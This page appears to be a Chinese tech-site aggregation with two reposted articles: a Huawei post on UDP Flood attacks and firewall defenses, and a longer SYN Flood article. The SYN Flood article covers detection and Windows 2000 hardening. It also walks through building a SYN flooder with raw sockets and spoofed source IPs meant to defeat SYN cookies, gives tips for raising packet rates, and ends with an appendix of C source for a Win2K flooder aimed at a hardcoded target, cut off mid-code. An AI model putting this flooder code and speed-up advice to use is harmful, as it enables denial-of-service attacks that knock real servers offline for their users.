精华内容
下载资源
问答
  • UDP Flood攻击

    万次阅读 2019-01-29 15:01:30
    上一期,强叔给大家介绍了SYN Flood攻击防御,本期强叔将带领大家一起来学习一下另一种常见的流量型攻击UDP Flood。 讲UDP Flood之前,强叔还是先从UDP协议讲起。在讲SYN Flood的时候,我们知道了TCP协议是一...

    本文转载自华为企业互动社区

    大家好,强叔又来了!上一期,强叔给大家介绍了SYN Flood的攻击和防御,本期强叔将带领大家一起来学习一下另一种常见的流量型攻击:UDP Flood。

    讲UDP Flood之前,强叔还是先从UDP协议讲起。在讲SYN Flood的时候,我们知道了TCP协议是一种面向连接的传输协议。但是UDP协议与TCP协议不同, UDP是一个无连接协议。使用UDP协议传输数据之前,客户端和服务器之间不建立连接,如果在从客户端到服务器端的传递过程中出现数据的丢失,协议本身并不能做出任何检测或提示。因此,通常人们把UDP协议称为不可靠的传输协议。


    既然UDP是一种不可靠的网络协议,那么还有什么使用价值或必要呢?其实不然,在有些情况下UDP协议可能会变得非常有用。因为UDP具有TCP所望尘莫及的速度优势。虽然TCP协议中植入了各种安全保障功能,但是在实际执行的过程中会占用大量的系统开销,无疑使传输速度受到严重的影响。反观UDP,由于排除了信息可靠传递机制,将安全和排序等功能移交给上层应用来完成,极大降低了执行时间,使传输速度得到了保证。

    正是UDP协议的广泛应用,为黑客们发动UDP Flood攻击提供了平台。UDP Flood属于带宽类攻击,黑客们通过僵尸网络向目标服务器发起大量的UDP报文,这种UDP报文通常为大包,且速率非常快,通常会造成以下危害:

    • 消耗网络带宽资源,严重时造成链路拥塞。
    • 大量变源变端口的UDP Flood会导致依靠会话转发的网络设备,性能降低甚至会话耗尽,从而导致网络瘫痪。

    防火墙对UDP Flood的防御并不能像SYN Flood一样,进行源探测,因为它不建立连接。那应该怎么防御呢?
    最初防火墙对UDP Flood的防御方式就是限流,通过限流将链路中的UDP报文控制在合理的带宽范围之内。
    防火墙上针对UDP Flood的限流有三种:

    •  基于目的IP地址的限流:即以某个IP地址作为统计对象,对到达这个IP地址的UDP流量进行统计并限流,超过部分丢弃。
    • 基于目的安全区域的限流:即以某个安全区域作为统计对象,对到达这个安全区域的UDP流量进行统计并限流,超过部分丢弃。
    •  基于会话的限流:即对每条UDP会话上的报文速率进行统计,如果会话上的UDP报文速率达到了告警阈值,这条会话就会被锁定,后续命中这条会话的UDP报文都被丢弃。当这条会话连续3秒或者3秒以上没有流量时,防火墙会解锁此会话,后续命中此会话的报文可以继续通过。

    限流虽然可以有效缓解链路带宽的压力,但是这种方式简单粗暴,容易对正常业务造成误判。为了解决这个问题,防火墙又进一步推出了针对UDP Flood的指纹学习功能。 

    UDP Flood的指纹学习功能

    仔细分析,不难发现,UDP Flood攻击报文具有一定的特点,这些攻击报文通常都拥有相同的特征字段,比如都包含某一个字符串,或整个报文内容一致。这些字段来自于DDoS工具自带的默认字符串,所以防火墙是通过收集这些字符串来检测UDP Flood。这种防御算法在现网使用很多,主要因为黑客为了加大攻击频率,快速、长时间挤占攻击目标所在网络带宽,在使用攻击工具实现时直接在内存存放一段内容,然后高频发送到攻击目标,所以攻击报文具有很高的相似性。而正常业务的UDP报文一般每个报文负载内容都是不一样的,这样可以减少误判。


    从下面的抓包中可以看出,到达相同目的IP地址的两个UDP报文的载荷是完全一样的,如果防火墙收到大量的类似这样的UDP报文,那么就有可能是发生了UDP Flood攻击。
      

    UDP-Flood攻击-报文1
    UDP-Flood攻击-报文2

    指纹学习是通过分析客户端向服务器发送的UDP报文载荷是否有大量的一致内容,来判定这个UDP报文是否异常。防火墙对到达指定目的地的UDP报文进行统计,当UDP报文达到告警阈值时,开始对UDP报文的指纹进行学习。如果相同的特征频繁出现,就会被学习成指纹,后续命中指纹的报文判定这是攻击报文,作为攻击特征进行过滤。

     

    强叔再给大家总结一下,防火墙防御UDP Flood攻击主要有两种方式:限流和指纹学习,两种方式各有利弊。限流方式属于暴力型,可以很快将UDP流量限制在一个合理的范围内,但是不分青红皂白,超过就丢,可能会丢弃一些正常报文;而指纹学习属于理智型,不会随意丢弃报文,但是发生攻击后需要有个指纹学习的过程。目前,指纹学习功能是针对UDP Flood攻击的主流防御手段,在华为防火墙产品中广泛应用。


    强叔提问
    大家之前有没有配置过防火墙的UDP Flood防御功能?在配置过程中有遇到过什么样的问题吗?

    扫描二维码,关注“小眼睛的梦呓”公众号,在手机端查看文章
    扫描二维码,关注“清远的梦呓”公众号,在手机端查看文章

     

    展开全文
  • http://support.huawei.com/huaweiconnect/enterprise/thread-214141.html 转载于:https://www.cnblogs.com/zengkefu/p/7582678.html

    http://support.huawei.com/huaweiconnect/enterprise/thread-214141.html

    转载于:https://www.cnblogs.com/zengkefu/p/7582678.html

    展开全文
  • SYN Flood攻击的基本原理及防御

    千次阅读 2014-09-20 15:51:23
    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。...
    第一部分 SYN Flood的基本原理 

      

    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

      

    要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:

    大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

    首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号; 

    第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。 

    第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。 

    以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。 

      

    问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。 

       

    从防御角度来说,有几种简单的解决方法,第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x  SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。

        第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。

        可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

      

      

      

      

      

      

      

      

    第二部份 SYN Flooder源码解读 

      

        下面我们来分析SYN Flooder的程序实现。

    首先,我们来看一下TCP报文的格式:

      

    0         1         2         3         4         5         6

        0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |      IP首部      |    TCP首部      |    TCP数据段    |

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  图一 TCP报文结构 

      

    如上图所示,一个TCP报文由三个部分构成:20字节的IP首部、20字节的TCP首部与不定长的数据段,(实际操作时可能会有可选的IP选项,这种情况下TCP首部向后顺延)由于我们只是发送一个SYN信号,并不传递任何数据,所以TCP数据段为空。TCP首部的数据结构为:

      

       0                   1                   2                   3  

       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |             十六位源端口号    |           十六位目标端口号    |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                        三十二位序列号                         |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                        三十二位确认号                         |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       | 四位  |           |U|A|P|R|S|F|                               |

       | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |

       | 长度  |           |G|K|H|T|N|N|                               |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |           十六位校验和        |         十六位紧急指针        |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                          选项(若有)                         |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                          数据(若有)                         |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          图二  TCP首部结构 

      

    根据TCP报文格式,我们定义一个结构TCP_HEADER用来存放TCP首部:

    typedef struct _tcphdr               

    {

            USHORT th_sport;               //16位源端口

        USHORT th_dport;             //16位目的端口

            unsigned int th_seq;         //32位序列号

            unsigned int th_ack;         //32位确认号

            unsigned char th_lenres;        //4位首部长度+6位保留字中的4位

            unsigned char th_flag;            //2位保留字+6位标志位

            USHORT th_win;                 //16位窗口大小

            USHORT th_sum;                 //16位校验和

            USHORT th_urp;                 //16位紧急数据偏移量

    }TCP_HEADER;

    通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作:

    0                   1                   2                   3  

       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       | 版本  | 长度  | 八位服务类型  |         十六位总长度          |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |           十六位标识          | 标志|   十三位片偏移        |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       | 八位生存时间  |   八位协议    |         十六位首部校验和      |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                      三十二位源IP地址                     |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                     三十二位目的IP地址                      |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                          选项(若有)                         |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       |                            数据                           |

       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            图三  IP首部结构

    同样定义一个IP_HEADER来存放IP首部

    typedef struct _iphdr

    {

            unsigned char h_verlen;            //4位首部长度+4位IP版本号

            unsigned char tos;               //8位服务类型TOS

            unsigned short total_len;      //16位总长度(字节)

            unsigned short ident;            //16位标识

            unsigned short frag_and_flags;  //3位标志位

            unsigned char  ttl;              //8位生存时间 TTL

            unsigned char proto;         //8位协议号(TCP, UDP 或其他)

            unsigned short checksum;        //16位IP首部校验和

            unsigned int sourceIP;            //32位源IP地址

            unsigned int destIP;         //32位目的IP地址

    }IP_HEADER;

    然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

        建立一个原始套接口,由于我们的IP源地址是伪造的,所以不能指望系统帮我们计算IP校验和,我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:

        flag=TRUE;

        setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

    IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:

    USHORT checksum(USHORT *buffer, int size)



    unsigned long cksum=0;

            while(size >1) {

                cksum+=*buffer++;

                size -=sizeof(USHORT);

            }

            if(size ) cksum += *(UCHAR*)buffer;

        cksum = (cksum >> 16) + (cksum & 0xffff);

            cksum += (cksum >>16);

            return (USHORT)(~cksum);

    }

    这个函数并没有经过任何的优化,由于校验和函数是TCP/IP协议中被调用最多函数之一,所以一般说来,在实现TCP/IP栈时,会根据操作系统对校验和函数进行优化。

    TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。

    需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:

    struct                         

    {

            unsigned long saddr;     //源地址

            unsigned long daddr;     //目的地址

            char mbz;                    //置空

            char ptcl;                   //协议类型

            unsigned short tcpl;     //TCP长度

    }psd_header;

    然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:

    memcpy(SendBuf,&psd_header,sizeof(psd_header));   

        memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

        tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

    计算IP校验和的时候不需要包括TCP伪首部:

    memcpy(SendBuf,&ip_header,sizeof(ip_header));

        memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

        ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

        再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:

        memcpy(SendBuf,&ip_header,sizeof(ip_header));

        sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

       

    因为整个TCP报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在IP首部中放置随机的源IP地址,如果伪造的源IP地址确实有人使用,他在接收到服务器的SYN+ACK报文后会发送一个RST报文(标志位为00000100),通知服务器端不需要等待一个无效的连接,可是如果这个伪造IP并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是TCP协议的缺陷),主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时,服务器主机承受的负荷会相当的高,根据测试,一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文,这样的攻击力已经足以拖垮大部分WEB服务器了。

        稍微动动脑筋我们就会发现,想对SYN Flooder程序进行优化是很简单的,从程序构架来看,攻击时循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思路是提高校验和计算的速度,我甚至见过用汇编代码编写的校验和函数,实际上,有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识,(老实说吧,我数学比较差:P),我们仔细研究了两个不同源地址的TCP SYN报文后发现,两个报文的大部分字段相同(比如目的地址、协议等等),只有源地址和校验和不同(如果为了隐蔽,源端口也可以有变化,但是并不影响我们算法优化的思路),如果我们事先计算好大量的源地址与校验和的对应关系表(如果其他的字段有变化也可以加入这个表),等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送(用指针来直接操作缓冲区的特定位置,从事先计算好的对应关系表中读出数据,替换缓冲区相应字段),这种简单的工作完全取决于系统发送IP包的速度,与程序的效率没有任何关系,这样,即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间,甚至可以定义一个很大的缓冲区数组,填充完毕后再发送(雏鹰给这种方法想了一个很贴切的比喻:火箭炮装弹虽然很慢,但是一旦炮弹上膛了以后就可以连续猛烈地发射了:)。

      

      

      

      

      

    第三部分 SYN Flood攻击的监测与防御初探

        对于SYN Flood攻击,目前尚没有很好的监测和防御方法,不过如果系统管理员熟悉攻击方法和系统架构,通过一系列的设定,也能从一定程度上降低被攻击系统的负荷,减轻负面的影响。(这正是我撰写本文的主要目的)

        一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用Netstat 命令能看到大量SYN_RCVD的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。

        遭到SYN Flood攻击后,首先要做的是取证,通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的,如果有嗅探器,或者TcpDump之类的工具,记录TCP SYN报文的所有细节也有助于以后追查和防御,需要记录的字段有:源地址、IP首部中的标识、TCP首部中的序列号、TTL值等,这些信息虽然很可能是攻击者伪造的,但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值,如果大量的攻击包似乎来自不同的IP但是TTL值却相同,我们往往能推断出攻击者与我们之间的路由器距离,至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷(在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问)

        前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护,对于Win2000系统,还可以通过修改注册表降低SYN Flood的危害,在注册表中作如下改动:

    首先,打开regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters 

    增加一个SynAttackProtect的键值,类型为REG_DWORD,取值范围是0-2,这个值决定了系统受到SYN攻击时采取的保护措施,包括减少系统SYN+ACK的重试的次数等,默认值是0(没有任何保护措施),推荐设置是2; 

    增加一个TcpMaxHalfOpen的键值,类型为REG_DWORD,取值范围是100-0xFFFF,这个值是系统允许同时打开的半连接,默认情况下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,这个值很难确定,取决于服务器TCP负荷的状况和可能受到的攻击强度,具体的值需要经过试验才能决定。 

        增加一个TcpMaxHalfOpenRetried的键值,类型为REG_DWORD,取值范围是80-0xFFFF,默认情况下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,这个值决定了在什么情况下系统会打开SYN攻击保护。 

      

        我们来分析一下Win2000的SYN攻击保护机制:正常情况下,Win2K对TCP连接的三次握手有一个常规的设置,包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等,这个常规设置是针对系统性能进行优化的(安全和性能往往相互矛盾)所以可以给用户提供方便快捷的服务;一旦服务器受到攻击,SYN半连接的数量超过TcpMaxHalfOpenRetried的设置,系统会认为自己受到了SYN Flood攻击,此时设置在SynAttackProtect键值中的选项开始作用,SYN Timeout时间被减短,SYN-ACK的重试次数减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低;如果攻击强度不断增大,超过了TcpMaxHalfOpen值,此时系统已经不能提供正常的服务了,更重要的是保证系统不会崩溃,所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文(应该是使用随机丢包策略),保证系统的稳定性。 

        所以,对于需要进行SYN攻击保护的系统,我们可以测试/预测一下访问峰值时期的半连接打开量,以其作为参考设定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值,这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。 

        通过设置注册表防御SYN Flood攻击,采用的是“挨打”的策略,无论系统如何强大,始终不能光靠挨打支撑下去,除了挨打之外,“退让”也是一种比较有效的方法。 

        退让策略是基于SYN Flood攻击代码的一个缺陷,我们重新来分析一下SYN Flood攻击者的流程:SYN Flood程序有两种攻击方式,基于IP的和基于域名的,前者是攻击者自己进行域名解析并将IP地址传递给攻击程序,后者是攻击程序自动进行域名解析,但是它们有一点是相同的,就是一旦攻击开始,将不会再进行域名解析,我们的切入点正是这里:假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址,那么攻击者仍在不断攻击的只是一个空的IP地址,并没有任何主机,而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内(取决于DNS的刷新时间)恢复用户通过域名进行的正常访问。为了迷惑攻击者,我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”(由于DNS缓冲的原因,只要攻击者的浏览器不重起,他访问的仍然是原先的IP地址)。 

        同样的原因,在众多的负载均衡架构中,基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力,基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上,攻击者攻击的永远只是其中一台服务器,虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略,但是一来这样增加了攻击者的成本,二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹(DNS请求不同于SYN攻击,是需要返回数据的,所以很难进行IP伪装)。 

      

        对于防火墙来说,防御SYN Flood攻击的方法取决于防火墙工作的基本原理,一般说来,防火墙可以工作在TCP层之上或IP层之下,工作在TCP层之上的防火墙称为网关型防火墙,网关型防火墙与服务器、客户机之间的关系如下图所示: 

      

    外部TCP连接                内部TCP连接 

        [客户机] =================>[防火墙] =================>[服务器] 

        

        如上图所示,客户机与服务器之间并没有真正的TCP连接,客户机与服务器之间的所有数据交换都是通过防火墙代理的,外部的DNS解析也同样指向防火墙,所以如果网站被攻击,真正受到攻击的是防火墙,这种防火墙的优点是稳定性好,抗打击能力强,但是因为所有的TCP报文都需要经过防火墙转发,所以效率比较低由于客户机并不直接与服务器建立连接,在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接,所以攻击者无法越过防火墙直接攻击后台服务器,只要防火墙本身做的足够强壮,这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍(防火墙两端都需要建立TCP连接),同时又代理了所有的来自客户端的TCP请求和数据传送,在系统访问量较大时,防火墙自身的负荷会比较高,所以这种架构并不能适用于大型网站。(我感觉,对于这样的防火墙架构,使用TCP_STATE攻击估计会相当有效:) 

        工作在IP层或IP层之下的防火墙(路由型防火墙)工作原理有所不同,它与服务器、客户机的关系如下图所示: 

    [防火墙] 数据包修改转发 

        [客户机]========|=======================>[服务器] 

    TCP连接 

      

        客户机直接与服务器进行TCP连接,防火墙起的是路由器的作用,它截获所有通过的包并进行过滤,通过过滤的包被转发给服务器,外部的DNS解析也直接指向服务器,这种防火墙的优点是效率高,可以适应100Mbps-1Gbps的流量,但是这种防火墙如果配置不当,不仅可以让攻击者越过防火墙直接攻击内部服务器,甚至有可能放大攻击的强度,导致整个系统崩溃。 

        在这两种基本模型之外,有一种新的防火墙模型,我个人认为还是比较巧妙的,它集中了两种防火墙的优势,这种防火墙的工作原理如下所示: 

    第一阶段,客户机请求与防火墙建立连接: 

    SYN                           SYN+ACK                           ACK 

        [客户机]---- >[防火墙]   =>   [防火墙]-------- >[客户机]   =>   [客户机]--- >[防火墙] 

      

    第二阶段,防火墙伪装成客户机与后台的服务器建立连接 

    [防火墙]< =========== >[服务器] 

    TCP连接 

      

        第三阶段,之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器 

    防火墙转发 

    [客户机]< ======|======= >[服务器] 

                         TCP连接 

        这种结构吸取了上两种防火墙的优点,既能完全控制所有的SYN报文,又不需要对所有的TCP数据报文进行代理,是一种两全其美的方法。 

    近来,国外和国内的一些防火墙厂商开始研究带宽控制技术,如果能真正做到严格控制、分配带宽,就能很大程度上防御绝大多数的拒绝服务攻击,我们还是拭目以待吧。 

      

    附录:Win2000下的SYN Flood程序

    改编自Linux下Zakath编写的SYN Flooder

    编译环境:VC++6.0,编译时需要包含ws2_32.lib

    //

    //                                                                      //

    //  SYN Flooder For Win2K by Shotgun                                    //

    //                                                                      //

    //  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //

    //  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //

    //                                                                      //

    //  Released:    [2001.4]                                                //

    //  Author:     [Shotgun]                                               //

    //  Homepage:                                                           //

    //              [http://IT.Xici.Net]                                    //

    //              [http://WWW.Patching.Net]                               //

    //                                                                      //

    //

    #include <winsock2.h>

    #include <Ws2tcpip.h>

    #include <stdio.h>

    #include <stdlib.h>

    #define SEQ 0x28376839

    #define SYN_DEST_IP "192.168.15.250"//被攻击的IP

    #define FAKE_IP "10.168.150.1"       //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段

    #define STATUS_FAILED 0xFFFF      //错误返回值

      

    typedef struct _iphdr              //定义IP首部

    {

        unsigned char h_verlen;            //4位首部长度,4位IP版本号

        unsigned char tos;               //8位服务类型TOS

        unsigned short total_len;      //16位总长度(字节)

        unsigned short ident;            //16位标识

        unsigned short frag_and_flags;  //3位标志位

        unsigned char  ttl;              //8位生存时间 TTL

        unsigned char proto;         //8位协议 (TCP, UDP 或其他)

        unsigned short checksum;        //16位IP首部校验和

        unsigned int sourceIP;            //32位源IP地址

        unsigned int destIP;         //32位目的IP地址

    }IP_HEADER;

      

    struct                              //定义TCP伪首部

    {

            unsigned long saddr;     //源地址

            unsigned long daddr;     //目的地址

            char mbz;

            char ptcl;                   //协议类型

            unsigned short tcpl;     //TCP长度

    }psd_header;

      

    typedef struct _tcphdr             //定义TCP首部

    {

        USHORT th_sport;               //16位源端口

        USHORT th_dport;               //16位目的端口

        unsigned int th_seq;         //32位序列号

        unsigned int th_ack;         //32位确认号

        unsigned char th_lenres;        //4位首部长度/6位保留字

        unsigned char th_flag;            //6位标志位

        USHORT th_win;                 //16位窗口大小

        USHORT th_sum;                 //16位校验和

        USHORT th_urp;                 //16位紧急数据偏移量

    }TCP_HEADER;

      

    //CheckSum:计算校验和的子函数

    USHORT checksum(USHORT *buffer, int size)



    unsigned long cksum=0;

          while(size >1) {

        cksum+=*buffer++;

        size -=sizeof(USHORT);

      }

      if(size ) {

        cksum += *(UCHAR*)buffer;

      }

      cksum = (cksum >> 16) + (cksum & 0xffff);

      cksum += (cksum >>16);

      return (USHORT)(~cksum);

    }

      

    //  SynFlood主函数

    int main()

    {

        int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

        int TimeOut=2000,SendSEQ=0;

        char SendBuf[128]={0};

        char RecvBuf[65535]={0};

        WSADATA wsaData;

        SOCKET SockRaw=(SOCKET)NULL;

        struct sockaddr_in DestAddr;

        IP_HEADER ip_header;

        TCP_HEADER tcp_header;

        //初始化SOCK_RAW

        if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

            fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

            ExitProcess(STATUS_FAILED);

        }

        SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

    if (SockRaw==INVALID_SOCKET){

            fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

            ExitProcess(STATUS_FAILED);

        }

        flag=TRUE;

        //设置IP_HDRINCL以自己填充IP首部

        ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

    If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");

        __try{

            //设置发送超时

            ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

    if(ErrorCode==SOCKET_ERROR){

                fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

                __leave;

            }

            memset(&DestAddr,0,sizeof(DestAddr));

            DestAddr.sin_family=AF_INET;

            DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

            FakeIpNet=inet_addr(FAKE_IP);

            FakeIpHost=ntohl(FakeIpNet);

            //填充IP首部

            ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

    //高四位IP版本号,低四位首部长度

            ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度(字节)

            ip_header.ident=1;                                                       //16位标识

            ip_header.frag_and_flags=0;                                               //3位标志位

            ip_header.ttl=128;                                                       //8位生存时间TTL

